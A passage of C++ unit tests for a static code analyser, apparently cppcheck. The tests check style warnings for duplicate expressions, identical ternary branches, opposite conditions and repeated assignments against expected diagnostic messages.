check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", 